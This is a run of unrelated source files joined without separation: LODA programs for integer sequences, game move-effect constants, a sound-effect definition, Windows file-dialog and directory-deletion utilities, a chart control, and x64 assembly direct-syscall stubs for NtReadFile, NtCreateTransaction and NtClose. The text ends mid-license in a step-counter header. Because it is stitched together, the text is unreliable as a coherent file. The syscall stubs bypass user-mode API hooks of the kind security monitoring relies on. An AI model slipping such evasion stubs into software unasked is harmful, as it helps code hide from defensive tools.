; A219527: a(n) = (6*n^2 + 7*n - 9 + 2*n^3)/12 - (-1)^n*(n+1)/4. ; 1,3,11,19,37,55,87,119,169,219,291,363,461,559,687,815,977,1139,1339,1539,1781,2023,2311,2599,2937,3275,3667,4059,4509,4959,5471,5983,6561,7139,7787,8435,9157,9879,10679,11479,12361,13243 mov $16,$0 mov $18,$0 add $18,1 lpb $18 clr $0,16 mov $0,$16 sub $18,1 sub $0,$18 mov $13,$0 mov $15,$0 add $15,1 lpb $15 mov $0,$13 sub $15,1 sub $0,$15 mov $9,$0 mov $11,2 lpb $11 mov $0,$9 sub $11,1 add $0,$11 sub $0,1 mov $5,2 lpb $0 add $5,$0 add $0,5 cmp $0,4 div $5,2 mul $5,2 pow $5,2 lpe mov $1,$5 mov $12,$11 lpb $12 mov $10,$1 sub $12,1 lpe lpe lpb $9 mov $9,0 sub $10,$1 lpe mov $1,$10 div $1,2 add $14,$1 lpe add $17,$14 lpe mov $1,$17
; tentative move effect constants ; {stat}_(UP|DOWN)(1|2) means that the move raises the user's (or lowers the target's) corresponding stat modifier by 1 (or 2) stages ; {status condition}_side_effect means that the move has a side chance of causing that condition ; {status condition}_effect means that the move causes the status condition every time it hits the target const_value = 0 const NO_ADDITIONAL_EFFECT ; $00 const UNUSED_EFFECT_01 ; $01 UNUSED const POISON_SIDE_EFFECT1 ; $02 Poison Sting const DRAIN_HP_EFFECT ; $03 Absorb, Mega Drain, Leech Life const BURN_SIDE_EFFECT1 ; $04 All Fire attacks const FREEZE_SIDE_EFFECT1 ; $05 All Ice attacks const PARALYZE_SIDE_EFFECT1 ; $06 All Electric moves const EXPLODE_EFFECT ; $07 Explosion, Self Destruct const DREAM_EATER_EFFECT ; $08 const MIRROR_MOVE_EFFECT ; $09 const ATTACK_UP1_EFFECT ; $0A const DEFENSE_UP1_EFFECT ; $0B const SPEED_UP1_EFFECT ; $0C const SPECIAL_UP1_EFFECT ; $0D const ACCURACY_UP1_EFFECT ; $0E const EVASION_UP1_EFFECT ; $0F const PAY_DAY_EFFECT ; $10 const SWIFT_EFFECT ; $11 const ATTACK_DOWN1_EFFECT ; $12 const DEFENSE_DOWN1_EFFECT ; $13 const SPEED_DOWN1_EFFECT ; $14 const SPECIAL_DOWN1_EFFECT ; $15 const ACCURACY_DOWN1_EFFECT ; $16 const EVASION_DOWN1_EFFECT ; $17 const CONVERSION_EFFECT ; $18 const HAZE_EFFECT ; $19 const BIDE_EFFECT ; $1A const THRASH_PETAL_DANCE_EFFECT ; $1B const SWITCH_AND_TELEPORT_EFFECT ; $1C const TWO_TO_FIVE_ATTACKS_EFFECT ; $1D const UNUSED_EFFECT_1E ; $1E UNUSED const FLINCH_SIDE_EFFECT1 ; $1F const SLEEP_EFFECT ; $20 const POISON_SIDE_EFFECT2 ; $21 Smog, Sludge const BURN_SIDE_EFFECT2 ; $22 Fire Blast const FREEZE_SIDE_EFFECT2 ; $23 Blizzard const PARALYZE_SIDE_EFFECT2 ; $24 Thunder const FLINCH_SIDE_EFFECT2 ; $25 const OHKO_EFFECT ; $26 moves like Horn Drill const CHARGE_EFFECT ; $27 moves like Solar Beam const SUPER_FANG_EFFECT ; $28 const SPECIAL_DAMAGE_EFFECT ; $29 Seismic Toss, Night Shade, Sonic Boom, Dragon Rage, Psywave const TRAPPING_EFFECT ; $2A moves like Wrap const FLY_EFFECT ; $2B const ATTACK_TWICE_EFFECT ; $2C const JUMP_KICK_EFFECT ; $2D Jump Kick and Sky Uppercut effect const MIST_EFFECT ; $2E const FOCUS_ENERGY_EFFECT ; $2F const RECOIL_EFFECT ; $30 moves like Double Edge const CONFUSION_EFFECT ; $31 Confuse Ray, Supersonic (not the move Confusion) const ATTACK_UP2_EFFECT ; $32 const DEFENSE_UP2_EFFECT ; $33 const SPEED_UP2_EFFECT ; $34 const SPECIAL_UP2_EFFECT ; $35 const ACCURACY_UP2_EFFECT ; $36 const EVASION_UP2_EFFECT ; $37 const HEAL_EFFECT ; $38 Recover, Softboiled, Rest const TRANSFORM_EFFECT ; $39 const ATTACK_DOWN2_EFFECT ; $3A const DEFENSE_DOWN2_EFFECT ; $3B const SPEED_DOWN2_EFFECT ; $3C const SPECIAL_DOWN2_EFFECT ; $3D const ACCURACY_DOWN2_EFFECT ; $3E const EVASION_DOWN2_EFFECT ; $3F const LIGHT_SCREEN_EFFECT ; $40 const REFLECT_EFFECT ; $41 const POISON_EFFECT ; $42 const PARALYZE_EFFECT ; $43 const ATTACK_DOWN_SIDE_EFFECT ; $44 const DEFENSE_DOWN_SIDE_EFFECT ; $45 const SPEED_DOWN_SIDE_EFFECT ; $46 const SPECIAL_DOWN_SIDE_EFFECT ; $47 const UNUSED_EFFECT_48 ; $48 UNUSED const UNUSED_EFFECT_49 ; $49 UNUSED const UNUSED_EFFECT_4A ; $4A UNUSED const TRI_ATTACK_EFFECT ; $4B const CONFUSION_SIDE_EFFECT ; $4C const TWINEEDLE_EFFECT ; $4D const UNUSED_EFFECT_4E ; $4E UNUSED const SUBSTITUTE_EFFECT ; $4F const HYPER_BEAM_EFFECT ; $50 const RAGE_EFFECT ; $51 const MIMIC_EFFECT ; $52 const METRONOME_EFFECT ; $53 const LEECH_SEED_EFFECT ; $54 const SPLASH_EFFECT ; $55 const DISABLE_EFFECT ; $56 ; fixed damage constants SONICBOOM_DAMAGE EQU 40 DRAGON_RAGE_DAMAGE EQU 40
B7_Header: sHeaderInit ; Z80 offset is $D73F sHeaderPatch B7_Patches sHeaderTick $01 sHeaderCh $03 sHeaderSFX $80, $04, B7_FM4, $F2, $00 sHeaderSFX $80, $05, B7_FM5, $02, $06 sHeaderSFX $80, $02, B7_FM3, $F9, $08 B7_FM3: sPatFM $01 sJump B7_Loop1 B7_FM5: dc.b nRst, $02 B7_FM4: sPatFM $00 ssModZ80 $01, $01, $74, $29 B7_Loop1: dc.b nD1, $07, nRst, $02, nD1, $09, nRst saVolFM $11 sLoop $00, $04, B7_Loop1 sStop B7_Patches: ; Patch $00 ; $38 ; $70, $30, $10, $30, $1F, $1D, $15, $1F ; $00, $0C, $0E, $07, $06, $0F, $06, $12 ; $04, $12, $07, $18, $10, $07, $0C, $80 spAlgorithm $00 spFeedback $07 spDetune $07, $01, $03, $03 spMultiple $00, $00, $00, $00 spRateScale $00, $00, $00, $00 spAttackRt $1F, $15, $1D, $1F spAmpMod $00, $00, $00, $00 spSustainRt $00, $0E, $0C, $07 spSustainLv $00, $00, $01, $01 spDecayRt $06, $06, $0F, $12 spReleaseRt $04, $07, $02, $08 spTotalLv $10, $0C, $07, $00 ; Patch $01 ; $38 ; $01, $31, $10, $30, $1F, $1D, $15, $1F ; $25, $1C, $0E, $07, $06, $0F, $06, $12 ; $03, $04, $07, $18, $17, $22, $02, $80 spAlgorithm $00 spFeedback $07 spDetune $00, $01, $03, $03 spMultiple $01, $00, $01, $00 spRateScale $00, $00, $00, $00 spAttackRt $1F, $15, $1D, $1F spAmpMod $00, $00, $00, $00 spSustainRt $05, $0E, $1C, $07 spSustainLv $00, $00, $00, $01 spDecayRt $06, $06, $0F, $12 spReleaseRt $03, $07, $04, $08 spTotalLv $17, $02, $22, $00
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Copyright (c) 2016, Intel Corporation // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated // documentation files (the "Software"), to deal in the Software without restriction, including without limitation // the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all copies or substantial portions of // the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO // THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, // TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // File changes (yyyy-mm-dd) // 2016-09-07: filip.strugar@intel.com: first commit (extracted from VertexAsylum codebase, 2006-2016 by Filip Strugar) /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// #include "Core/System/vaFileStream.h" #include "Core/System/vaFileTools.h" #include <stdio.h> #include <io.h> #include <Commdlg.h> using namespace VertexAsylum; #pragma warning (disable : 4996) static bool IsDots( const wchar_t * str ) { if( wcscmp( str, L"." ) && wcscmp( str, L".." ) ) return false; return true; } #ifndef _S_IWRITE #define _S_IWRITE 0x0080 /* write permission, owner */ #endif bool vaFileTools::DeleteDirectory( const wchar_t * path ) { HANDLE hFind; WIN32_FIND_DATA FindFileData; wchar_t DirPath[MAX_PATH]; wchar_t FileName[MAX_PATH]; wcscpy( DirPath, path ); wcscat( DirPath, L"\\*" ); // searching all files wcscpy( FileName, path ); wcscat( FileName, L"\\" ); // find the first file hFind = FindFirstFile( DirPath, &FindFileData ); if( hFind == INVALID_HANDLE_VALUE ) return false; wcscpy(DirPath,FileName); bool bSearch = true; while( bSearch ) { // until we find an entry if( FindNextFile(hFind,&FindFileData) ) { if( IsDots(FindFileData.cFileName) ) continue; wcscat( FileName,FindFileData.cFileName ); if( ( FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ) ) { // we have found a directory, recurse if( !DeleteDirectory(FileName) ) { FindClose(hFind); return false; // directory couldn't be deleted } // remove the empty directory RemoveDirectory(FileName); wcscpy(FileName,DirPath); } else { if( FindFileData.dwFileAttributes & FILE_ATTRIBUTE_READONLY) // change read-only file mode _wchmod( FileName, _S_IWRITE ); if( !DeleteFile(FileName) ) { // delete the file FindClose(hFind); return false; } wcscpy(FileName,DirPath); } } else { // no more files there if( GetLastError() == ERROR_NO_MORE_FILES ) bSearch = false; else { // some error occurred; close the handle and return FALSE FindClose( hFind ); return false; } } } FindClose(hFind); // close the file handle return RemoveDirectory( path ) != 0; // remove the empty directory } bool vaFileTools::DirectoryExists( const wchar_t * path ) { DWORD attr = ::GetFileAttributes( path ); if( attr == INVALID_FILE_ATTRIBUTES ) return false; return (attr & FILE_ATTRIBUTE_DIRECTORY) != 0; } wstring vaFileTools::OpenFileDialog( const wstring & initialFileName, const wstring & initialDir, const wchar_t * filter, int filterIndex, const wstring & dialogTitle) { OPENFILENAME ofn ; ZeroMemory(&ofn, sizeof(ofn)); wchar_t outBuffer[MAX_PATH]; wcscpy_s( outBuffer, _countof( outBuffer ), initialFileName.c_str() ); ofn.lStructSize = sizeof(ofn); ofn.hwndOwner = vaWindows::GetMainHWND(); ofn.lpstrDefExt = NULL; ofn.lpstrFile = outBuffer; ofn.nMaxFile = _countof( outBuffer ); ofn.lpstrFilter = filter; ofn.nFilterIndex = filterIndex; ofn.lpstrInitialDir = initialDir.c_str(); ofn.lpstrTitle = dialogTitle.c_str(); ofn.Flags = OFN_FILEMUSTEXIST; // OFN_ALLOWMULTISELECT if( GetOpenFileName( &ofn ) ) { return ofn.lpstrFile; } else { return L""; } } wstring vaFileTools::SaveFileDialog( const wstring & initialFileName, const wstring & initialDir, const wchar_t * filter, int filterIndex, const wstring & dialogTitle) { OPENFILENAME ofn ; ZeroMemory(&ofn, sizeof(ofn)); wchar_t outBuffer[MAX_PATH]; wcscpy_s( outBuffer, _countof( outBuffer ), initialFileName.c_str() ); ofn.lStructSize = sizeof(ofn); ofn.hwndOwner = vaWindows::GetMainHWND(); ofn.lpstrDefExt = NULL; ofn.lpstrFile = outBuffer; ofn.nMaxFile = _countof( outBuffer ); ofn.lpstrFilter = filter; ofn.nFilterIndex = filterIndex; ofn.lpstrInitialDir = initialDir.c_str(); ofn.lpstrTitle = dialogTitle.c_str(); ofn.Flags = OFN_OVERWRITEPROMPT; if( GetSaveFileName( &ofn ) ) { return ofn.lpstrFile; } else { return L""; } }
/* Copyright (c) 2016-2017 Xavier Leclercq Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /// @file #include "wxscatterplotctrl.h" wxScatterPlotCtrl::wxScatterPlotCtrl(wxWindow *parent, wxWindowID id, const wxScatterPlotData &data, const wxPoint &pos, const wxSize &size, long style) : wxChartCtrl(parent, id, pos, size, style), m_scatterPlot(data, size) { } wxScatterPlotCtrl::wxScatterPlotCtrl(wxWindow *parent, wxWindowID id, const wxScatterPlotData &data, const wxScatterPlotOptions &options, const wxPoint &pos, const wxSize &size, long style) : wxChartCtrl(parent, id, pos, size, style), m_scatterPlot(data, options, size) { } wxScatterPlot& wxScatterPlotCtrl::GetChart() { return m_scatterPlot; }
.code NtReadFile PROC mov rax, gs:[60h] ; Load PEB into RAX. NtReadFile_Check_X_X_XXXX: ; Check major version. cmp dword ptr [rax+118h], 5 je NtReadFile_SystemCall_5_X_XXXX cmp dword ptr [rax+118h], 6 je NtReadFile_Check_6_X_XXXX cmp dword ptr [rax+118h], 10 je NtReadFile_Check_10_0_XXXX jmp NtReadFile_SystemCall_Unknown NtReadFile_Check_6_X_XXXX: ; Check minor version for Windows Vista/7/8. cmp dword ptr [rax+11ch], 0 je NtReadFile_Check_6_0_XXXX cmp dword ptr [rax+11ch], 1 je NtReadFile_Check_6_1_XXXX cmp dword ptr [rax+11ch], 2 je NtReadFile_SystemCall_6_2_XXXX cmp dword ptr [rax+11ch], 3 je NtReadFile_SystemCall_6_3_XXXX jmp NtReadFile_SystemCall_Unknown NtReadFile_Check_6_0_XXXX: ; Check build number for Windows Vista. cmp word ptr [rax+120h], 6000 je NtReadFile_SystemCall_6_0_6000 cmp word ptr [rax+120h], 6001 je NtReadFile_SystemCall_6_0_6001 cmp word ptr [rax+120h], 6002 je NtReadFile_SystemCall_6_0_6002 jmp NtReadFile_SystemCall_Unknown NtReadFile_Check_6_1_XXXX: ; Check build number for Windows 7. cmp word ptr [rax+120h], 7600 je NtReadFile_SystemCall_6_1_7600 cmp word ptr [rax+120h], 7601 je NtReadFile_SystemCall_6_1_7601 jmp NtReadFile_SystemCall_Unknown NtReadFile_Check_10_0_XXXX: ; Check build number for Windows 10. cmp word ptr [rax+120h], 10240 je NtReadFile_SystemCall_10_0_10240 cmp word ptr [rax+120h], 10586 je NtReadFile_SystemCall_10_0_10586 cmp word ptr [rax+120h], 14393 je NtReadFile_SystemCall_10_0_14393 cmp word ptr [rax+120h], 15063 je NtReadFile_SystemCall_10_0_15063 cmp word ptr [rax+120h], 16299 je NtReadFile_SystemCall_10_0_16299 cmp word ptr [rax+120h], 17134 je NtReadFile_SystemCall_10_0_17134 cmp word ptr [rax+120h], 17763 je NtReadFile_SystemCall_10_0_17763 cmp word ptr [rax+120h], 18362 je NtReadFile_SystemCall_10_0_18362 cmp word ptr [rax+120h], 18363 je NtReadFile_SystemCall_10_0_18363 cmp word ptr [rax+120h], 19041 je NtReadFile_SystemCall_10_0_19041 cmp word ptr [rax+120h], 19042 je NtReadFile_SystemCall_10_0_19042 jmp NtReadFile_SystemCall_Unknown NtReadFile_SystemCall_5_X_XXXX: ; Windows XP and Server 2003 mov eax, 0003h jmp NtReadFile_Epilogue NtReadFile_SystemCall_6_0_6000: ; Windows Vista SP0 mov eax, 0003h jmp NtReadFile_Epilogue NtReadFile_SystemCall_6_0_6001: ; Windows Vista SP1 and Server 2008 SP0 mov eax, 0003h jmp NtReadFile_Epilogue NtReadFile_SystemCall_6_0_6002: ; Windows Vista SP2 and Server 2008 SP2 mov eax, 0003h jmp NtReadFile_Epilogue NtReadFile_SystemCall_6_1_7600: ; Windows 7 SP0 mov eax, 0003h jmp NtReadFile_Epilogue NtReadFile_SystemCall_6_1_7601: ; Windows 7 SP1 and Server 2008 R2 SP0 mov eax, 0003h jmp NtReadFile_Epilogue NtReadFile_SystemCall_6_2_XXXX: ; Windows 8 and Server 2012 mov eax, 0004h jmp NtReadFile_Epilogue NtReadFile_SystemCall_6_3_XXXX: ; Windows 8.1 and Server 2012 R2 mov eax, 0005h jmp NtReadFile_Epilogue NtReadFile_SystemCall_10_0_10240: ; Windows 10.0.10240 (1507) mov eax, 0006h jmp NtReadFile_Epilogue NtReadFile_SystemCall_10_0_10586: ; Windows 10.0.10586 (1511) mov eax, 0006h jmp NtReadFile_Epilogue NtReadFile_SystemCall_10_0_14393: ; Windows 10.0.14393 (1607) mov eax, 0006h jmp NtReadFile_Epilogue NtReadFile_SystemCall_10_0_15063: ; Windows 10.0.15063 (1703) mov eax, 0006h jmp NtReadFile_Epilogue NtReadFile_SystemCall_10_0_16299: ; Windows 10.0.16299 (1709) mov eax, 0006h jmp NtReadFile_Epilogue NtReadFile_SystemCall_10_0_17134: ; Windows 10.0.17134 (1803) mov eax, 0006h jmp NtReadFile_Epilogue NtReadFile_SystemCall_10_0_17763: ; Windows 10.0.17763 (1809) mov eax, 0006h jmp NtReadFile_Epilogue NtReadFile_SystemCall_10_0_18362: ; Windows 10.0.18362 (1903) mov eax, 0006h jmp NtReadFile_Epilogue NtReadFile_SystemCall_10_0_18363: ; Windows 10.0.18363 (1909) mov eax, 0006h jmp NtReadFile_Epilogue NtReadFile_SystemCall_10_0_19041: ; Windows 10.0.19041 (2004) mov eax, 0006h jmp NtReadFile_Epilogue NtReadFile_SystemCall_10_0_19042: ; Windows 10.0.19042 (20H2) mov eax, 0006h jmp NtReadFile_Epilogue NtReadFile_SystemCall_Unknown: ; Unknown/unsupported version. ret NtReadFile_Epilogue: mov r10, rcx syscall ret NtReadFile ENDP NtCreateTransaction PROC mov rax, gs:[60h] ; Load PEB into RAX. NtCreateTransaction_Check_X_X_XXXX: ; Check major version. cmp dword ptr [rax+118h], 6 je NtCreateTransaction_Check_6_X_XXXX cmp dword ptr [rax+118h], 10 je NtCreateTransaction_Check_10_0_XXXX jmp NtCreateTransaction_SystemCall_Unknown NtCreateTransaction_Check_6_X_XXXX: ; Check minor version for Windows Vista/7/8. cmp dword ptr [rax+11ch], 0 je NtCreateTransaction_Check_6_0_XXXX cmp dword ptr [rax+11ch], 1 je NtCreateTransaction_Check_6_1_XXXX cmp dword ptr [rax+11ch], 2 je NtCreateTransaction_SystemCall_6_2_XXXX cmp dword ptr [rax+11ch], 3 je NtCreateTransaction_SystemCall_6_3_XXXX jmp NtCreateTransaction_SystemCall_Unknown NtCreateTransaction_Check_6_0_XXXX: ; Check build number for Windows Vista. cmp word ptr [rax+120h], 6000 je NtCreateTransaction_SystemCall_6_0_6000 cmp word ptr [rax+120h], 6001 je NtCreateTransaction_SystemCall_6_0_6001 cmp word ptr [rax+120h], 6002 je NtCreateTransaction_SystemCall_6_0_6002 jmp NtCreateTransaction_SystemCall_Unknown NtCreateTransaction_Check_6_1_XXXX: ; Check build number for Windows 7. cmp word ptr [rax+120h], 7600 je NtCreateTransaction_SystemCall_6_1_7600 cmp word ptr [rax+120h], 7601 je NtCreateTransaction_SystemCall_6_1_7601 jmp NtCreateTransaction_SystemCall_Unknown NtCreateTransaction_Check_10_0_XXXX: ; Check build number for Windows 10. cmp word ptr [rax+120h], 10240 je NtCreateTransaction_SystemCall_10_0_10240 cmp word ptr [rax+120h], 10586 je NtCreateTransaction_SystemCall_10_0_10586 cmp word ptr [rax+120h], 14393 je NtCreateTransaction_SystemCall_10_0_14393 cmp word ptr [rax+120h], 15063 je NtCreateTransaction_SystemCall_10_0_15063 cmp word ptr [rax+120h], 16299 je NtCreateTransaction_SystemCall_10_0_16299 cmp word ptr [rax+120h], 17134 je NtCreateTransaction_SystemCall_10_0_17134 cmp word ptr [rax+120h], 17763 je NtCreateTransaction_SystemCall_10_0_17763 cmp word ptr [rax+120h], 18362 je NtCreateTransaction_SystemCall_10_0_18362 cmp word ptr [rax+120h], 18363 je NtCreateTransaction_SystemCall_10_0_18363 cmp word ptr [rax+120h], 19041 je NtCreateTransaction_SystemCall_10_0_19041 cmp word ptr [rax+120h], 19042 je NtCreateTransaction_SystemCall_10_0_19042 jmp NtCreateTransaction_SystemCall_Unknown NtCreateTransaction_SystemCall_6_0_6000: ; Windows Vista SP0 mov eax, 00aah jmp NtCreateTransaction_Epilogue NtCreateTransaction_SystemCall_6_0_6001: ; Windows Vista SP1 and Server 2008 SP0 mov eax, 00a8h jmp NtCreateTransaction_Epilogue NtCreateTransaction_SystemCall_6_0_6002: ; Windows Vista SP2 and Server 2008 SP2 mov eax, 00a8h jmp NtCreateTransaction_Epilogue NtCreateTransaction_SystemCall_6_1_7600: ; Windows 7 SP0 mov eax, 00a8h jmp NtCreateTransaction_Epilogue NtCreateTransaction_SystemCall_6_1_7601: ; Windows 7 SP1 and Server 2008 R2 SP0 mov eax, 00a8h jmp NtCreateTransaction_Epilogue NtCreateTransaction_SystemCall_6_2_XXXX: ; Windows 8 and Server 2012 mov eax, 00b3h jmp NtCreateTransaction_Epilogue NtCreateTransaction_SystemCall_6_3_XXXX: ; Windows 8.1 and Server 2012 R2 mov eax, 00b5h jmp NtCreateTransaction_Epilogue NtCreateTransaction_SystemCall_10_0_10240: ; Windows 10.0.10240 (1507) mov eax, 00b8h jmp NtCreateTransaction_Epilogue NtCreateTransaction_SystemCall_10_0_10586: ; Windows 10.0.10586 (1511) mov eax, 00b9h jmp NtCreateTransaction_Epilogue NtCreateTransaction_SystemCall_10_0_14393: ; Windows 10.0.14393 (1607) mov eax, 00bbh jmp NtCreateTransaction_Epilogue NtCreateTransaction_SystemCall_10_0_15063: ; Windows 10.0.15063 (1703) mov eax, 00beh jmp NtCreateTransaction_Epilogue NtCreateTransaction_SystemCall_10_0_16299: ; Windows 10.0.16299 (1709) mov eax, 00bfh jmp NtCreateTransaction_Epilogue NtCreateTransaction_SystemCall_10_0_17134: ; Windows 10.0.17134 (1803) mov eax, 00c0h jmp NtCreateTransaction_Epilogue NtCreateTransaction_SystemCall_10_0_17763: ; Windows 10.0.17763 (1809) mov eax, 00c1h jmp NtCreateTransaction_Epilogue NtCreateTransaction_SystemCall_10_0_18362: ; Windows 10.0.18362 (1903) mov eax, 00c2h jmp NtCreateTransaction_Epilogue NtCreateTransaction_SystemCall_10_0_18363: ; Windows 10.0.18363 (1909) mov eax, 00c2h jmp NtCreateTransaction_Epilogue NtCreateTransaction_SystemCall_10_0_19041: ; Windows 10.0.19041 (2004) mov eax, 00c6h jmp NtCreateTransaction_Epilogue NtCreateTransaction_SystemCall_10_0_19042: ; Windows 10.0.19042 (20H2) mov eax, 00c6h jmp NtCreateTransaction_Epilogue NtCreateTransaction_SystemCall_Unknown: ; Unknown/unsupported version. ret NtCreateTransaction_Epilogue: mov r10, rcx syscall ret NtCreateTransaction ENDP NtClose PROC mov rax, gs:[60h] ; Load PEB into RAX. NtClose_Check_X_X_XXXX: ; Check major version. cmp dword ptr [rax+118h], 5 je NtClose_SystemCall_5_X_XXXX cmp dword ptr [rax+118h], 6 je NtClose_Check_6_X_XXXX cmp dword ptr [rax+118h], 10 je NtClose_Check_10_0_XXXX jmp NtClose_SystemCall_Unknown NtClose_Check_6_X_XXXX: ; Check minor version for Windows Vista/7/8. cmp dword ptr [rax+11ch], 0 je NtClose_Check_6_0_XXXX cmp dword ptr [rax+11ch], 1 je NtClose_Check_6_1_XXXX cmp dword ptr [rax+11ch], 2 je NtClose_SystemCall_6_2_XXXX cmp dword ptr [rax+11ch], 3 je NtClose_SystemCall_6_3_XXXX jmp NtClose_SystemCall_Unknown NtClose_Check_6_0_XXXX: ; Check build number for Windows Vista. cmp word ptr [rax+120h], 6000 je NtClose_SystemCall_6_0_6000 cmp word ptr [rax+120h], 6001 je NtClose_SystemCall_6_0_6001 cmp word ptr [rax+120h], 6002 je NtClose_SystemCall_6_0_6002 jmp NtClose_SystemCall_Unknown NtClose_Check_6_1_XXXX: ; Check build number for Windows 7. cmp word ptr [rax+120h], 7600 je NtClose_SystemCall_6_1_7600 cmp word ptr [rax+120h], 7601 je NtClose_SystemCall_6_1_7601 jmp NtClose_SystemCall_Unknown NtClose_Check_10_0_XXXX: ; Check build number for Windows 10. cmp word ptr [rax+120h], 10240 je NtClose_SystemCall_10_0_10240 cmp word ptr [rax+120h], 10586 je NtClose_SystemCall_10_0_10586 cmp word ptr [rax+120h], 14393 je NtClose_SystemCall_10_0_14393 cmp word ptr [rax+120h], 15063 je NtClose_SystemCall_10_0_15063 cmp word ptr [rax+120h], 16299 je NtClose_SystemCall_10_0_16299 cmp word ptr [rax+120h], 17134 je NtClose_SystemCall_10_0_17134 cmp word ptr [rax+120h], 17763 je NtClose_SystemCall_10_0_17763 cmp word ptr [rax+120h], 18362 je NtClose_SystemCall_10_0_18362 cmp word ptr [rax+120h], 18363 je NtClose_SystemCall_10_0_18363 cmp word ptr [rax+120h], 19041 je NtClose_SystemCall_10_0_19041 jmp NtClose_SystemCall_Unknown NtClose_SystemCall_5_X_XXXX: ; Windows XP and Server 2003 mov eax, 000ch jmp NtClose_Epilogue NtClose_SystemCall_6_0_6000: ; Windows Vista SP0 mov eax, 000ch jmp NtClose_Epilogue NtClose_SystemCall_6_0_6001: ; Windows Vista SP1 and Server 2008 SP0 mov eax, 000ch jmp NtClose_Epilogue NtClose_SystemCall_6_0_6002: ; Windows Vista SP2 and Server 2008 SP2 mov eax, 000ch jmp NtClose_Epilogue NtClose_SystemCall_6_1_7600: ; Windows 7 SP0 mov eax, 000ch jmp NtClose_Epilogue NtClose_SystemCall_6_1_7601: ; Windows 7 SP1 and Server 2008 R2 SP0 mov eax, 000ch jmp NtClose_Epilogue NtClose_SystemCall_6_2_XXXX: ; Windows 8 and Server 2012 mov eax, 000dh jmp NtClose_Epilogue NtClose_SystemCall_6_3_XXXX: ; Windows 8.1 and Server 2012 R2 mov eax, 000eh jmp NtClose_Epilogue NtClose_SystemCall_10_0_10240: ; Windows 10.0.10240 (1507) mov eax, 000fh jmp NtClose_Epilogue NtClose_SystemCall_10_0_10586: ; Windows 10.0.10586 (1511) mov eax, 000fh jmp NtClose_Epilogue NtClose_SystemCall_10_0_14393: ; Windows 10.0.14393 (1607) mov eax, 000fh jmp NtClose_Epilogue NtClose_SystemCall_10_0_15063: ; Windows 10.0.15063 (1703) mov eax, 000fh jmp NtClose_Epilogue NtClose_SystemCall_10_0_16299: ; Windows 10.0.16299 (1709) mov eax, 000fh jmp NtClose_Epilogue NtClose_SystemCall_10_0_17134: ; Windows 10.0.17134 (1803) mov eax, 000fh jmp NtClose_Epilogue NtClose_SystemCall_10_0_17763: ; Windows 10.0.17763 (1809) mov eax, 000fh jmp NtClose_Epilogue NtClose_SystemCall_10_0_18362: ; Windows 10.0.18362 (1903) mov eax, 000fh jmp NtClose_Epilogue NtClose_SystemCall_10_0_18363: ; Windows 10.0.18363 (1909) mov eax, 000fh jmp NtClose_Epilogue NtClose_SystemCall_10_0_19041: ; Windows 10.0.19041 (2004) mov eax, 000fh jmp NtClose_Epilogue NtClose_SystemCall_Unknown: ; Unknown/unsupported version. ret NtClose_Epilogue: mov r10, rcx syscall ret NtClose ENDP end
; A100186: Structured heptagonal anti-diamond numbers (vertex structure 7). ; Submitted by Jamie Morken(l1) ; 1,16,67,176,365,656,1071,1632,2361,3280,4411,5776,7397,9296,11495,14016,16881,20112,23731,27760,32221,37136,42527,48416,54825,61776,69291,77392,86101,95440,105431,116096,127457,139536,152355,165936,180301,195472,211471,228320,246041,264656,284187,304656,326085,348496,371911,396352,421841,448400,476051,504816,534717,565776,598015,631456,666121,702032,739211,777680,817461,858576,901047,944896,990145,1036816,1084931,1134512,1185581,1238160,1292271,1347936,1405177,1464016,1524475,1586576,1650341 mov $1,$0 add $0,1 add $1,1 pow $1,3 mov $2,$0 mul $2,2 bin $2,3 add $1,$2 add $2,$1 mov $0,$2
/**************************************************************************** * step_counter/accel_sensor.cxx * * Copyright 2018 Sony Semiconductor Solutions Corporation * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name of Sony Semiconductor Solutions Corporation nor * the names of its contributors may be used to endorse or promote * products derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 